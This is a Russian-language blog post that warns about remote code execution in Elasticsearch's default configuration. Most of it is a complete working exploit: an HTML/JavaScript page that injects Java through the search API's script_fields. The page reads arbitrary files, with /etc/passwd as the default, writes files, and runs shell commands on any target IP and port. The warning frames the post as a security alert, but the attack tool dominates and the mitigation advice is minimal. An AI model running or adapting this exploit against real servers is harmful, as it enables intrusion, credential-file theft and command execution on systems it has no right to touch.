Pull to refresh

ElasticSearch небезопасен со стандартными настройками (Remote Code Execution)


Elasticsearch — замечательный поисковый движок, но в конфигурации по умолчанию есть один недостаток, который позволяет выполнить произвольный JAVA код на сервере где установлен. Если вы используете Elasticsearch, то эта статья поможет вам обезопасить ваш сервис.

Проблемы:

1. Elasticsearch не имеет механизма аутентификации
2. API для Elasticsearch доступен через HTTP и не обеспечивает защиту.
3. ElasticSearch позволяет выполнять скрипты внутри запроса, в том числе и динамичные

И всё эти проблемы не опасны для вас, если вы закрыли доступ к Elasticsearch из внешнего мира. Но по умолчанию Elasticsearch устанавливается на порт 9200 и доступен всем.

Ниже эксплоит который позволяет выполнить любую команду на сервере с ElasticSearch от пользователя под которым он запущен:

Код
<!doctype html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <!-- Latest compiled and minified CSS -->
    <link href="http://netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap.min.css" rel="stylesheet">
    <!-- Optional theme -->
    <link href="http://netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap-theme.min.css" rel="stylesheet">
</head>

<script src="http://code.jquery.com/jquery-1.11.1.min.js"></script>
<script>
    function elasticSearchInject() {
        var mode = $('input[name="mode"]:checked').val();

        var readFile = function (filename) {
            return ("import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"" + filename + "\")).useDelimiter(\"\\\\Z\").next();");
        };

        var writeFile = function (filename) {
            return ("import java.util.*;\nimport java.io.*;\nPrintWriter writer = new PrintWriter(new BufferedWriter(new FileWriter(\"" + filename + "\", true)));\nwriter.println(\"" + $("#write_content").val() + "\");\nwriter.close();");
        };

        var command = function(cmd) {
            var query = "import java.util.*;\nimport java.io.*;\n p = Runtime.getRuntime().exec(new String[]{";
            var array = cmd.split(' ');
            for (var key in array) {
                if (array.hasOwnProperty(key)) {
                    var part = array[key];
                    query += "\""+part+"\", ";
                }
            }
            query += "});\n";
            query += "InputStream stdin = p.getInputStream();\n";
            query += "InputStreamReader isr = new InputStreamReader(stdin);\n";
            query += "BufferedReader br = new BufferedReader(isr);\n";
            query += "String result = \"\";\n";
            query += "while ( (line = br.readLine()) != null) { result = result + line; };\n";
            query += "return result;\n";

            return query;
        };

        var query = {
            "size": 1,
            "query": {
                "filtered": {
                    "query": {
                        "match_all": {}
                    }
                }
            },
            "script_fields": {}
        };

        switch (mode) {
            case 'read':
                var readFilename = $('#read_file').val();
                query["script_fields"][readFilename] = {
                    "script": readFile(readFilename)
                };
                break;
            case 'write':
                var writeFilename = $('#write_file').val();
                query["script_fields"][writeFilename] = {
                    "script": writeFile(writeFilename)
                };
                break;
            case 'shell':
                var commandText = $('#shell_command').val();
                query["script_fields"]['command'] = {
                    "script": command(commandText)
                };
                break;
        }

        var url = "http://" + $("#ip").val() + ":" + $("#port").val() + "/_search?source=" + (encodeURIComponent(JSON.stringify(query))) + "&callback=?";

        $.getJSON(url, function (data) {
            var content, contents, hit, _j, _len1, _ref, _results;
            _ref = data["hits"]["hits"];
            _results = [];
            for (_j = 0, _len1 = _ref.length; _j < _len1; _j++) {
                hit = _ref[_j];
                _results.push((function () {
                    var _k, _len2, _ref1;
                    _ref1 = hit["fields"];
                    for (filename in _ref1) {
                        if (_ref1.hasOwnProperty(filename)) {
                            document.getElementById("script_results").innerHTML += ("<p>" + filename + "</p>");
                            contents = _ref1[filename];
                            if (contents) {
                                for (_k = 0, _len2 = contents.length; _k < _len2; _k++) {
                                    content = contents[_k];
                                    document.getElementById("script_results").innerHTML += (content);
                                }
                                document.getElementById("script_results").innerHTML += ("<hr>");
                            }
                        }
                    }
                })());
            }
            return _results;
        });
    }
    $(function () {
        $('[data-buttons="mode"]').on('change', function () {
            var mode = $(this).find(':checked').val();
            $('[data-mode]').hide();
            $('[data-mode="' + mode + '"]').show();
        }).trigger('change');
    });
</script>
<body>
<div class="navbar navbar-inverse navbar-fixed-top" role="navigation">
    <div class="container">
        <div class="navbar-header">
            <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
                <span class="sr-only">Toggle navigation</span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
            </button>
            <a class="navbar-brand" href="#">Elastic Inject</a>
        </div>

    </div>
</div>
<div class="container">
    <div class="starter-template">
        <h2>ElasticSearch эксплоит</h2>
    </div>
    <div class="col-md-8">
        <div class="form" role="form">
            <div class="form-group">
                <div class="form-group">
                    <label for="ip">IP</label>
                    <input type="text" class="form-control" id="ip" value="127.0.0.1"/>
                    <label for="port">Port</label>
                    <input type="text" class="form-control" id="port" value="9200"/>
                </div>
            </div>
            <div class="form-group">
                <div class="btn-group" data-buttons="mode" data-toggle="buttons">
                    <label class="btn btn-primary active" for="mode_read">
                        <input checked name="mode" value="read" id="mode_read" type="radio"/> Прочитать из файла
                    </label>
                    <label class="btn btn-primary" for="mode_write">
                        <input name="mode" value="write" id="mode_write" type="radio"/> Записать в файл
                    </label>
                    <label class="btn btn-primary" for="mode_shell">
                        <input name="mode" value="shell" id="mode_shell" type="radio"/> Shell команда
                    </label>
                </div>
            </div>
            <div data-mode="read">
                <div class="form-group">
                    <div class="form-group">
                        <label for="read_file">Файл для чтения</label>
                        <input type="text" class="form-control" id="read_file" value="/etc/passwd"/>
                    </div>
                </div>
            </div>
            <div style="display: none" data-mode="write">
                <div class="form-group">
                    <label for="write_file">Файл для записи</label>
                    <input type="text" class="form-control" id="write_file" value=""/>
                </div>
                <div class="form-group">
                    <label for="write_content">Контент для записи</label>
                    <textarea class="form-control" id="write_content" cols="30" rows="10"></textarea>
                </div>
            </div>
            <div style="display: none" data-mode="shell">
                <div class="form-group">
                    <div class="form-group">
                        <label for="shell_command">Команда</label>
                        <input type="text" class="form-control" id="shell_command" value="uname -a"/>
                    </div>
                </div>
            </div>
            <div>
                <button onclick="elasticSearchInject();">Вперёд!</button>
            </div>
        </div>
        <div id="script_results">
            <h2 class="text-center">Результат</h2>
        </div>
    </div>
</div>
<script src="//netdna.bootstrapcdn.com/bootstrap/3.1.1/js/bootstrap.min.js"></script>
</body>
</html>


Демо на cssdesk.com
Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.
Change theme settings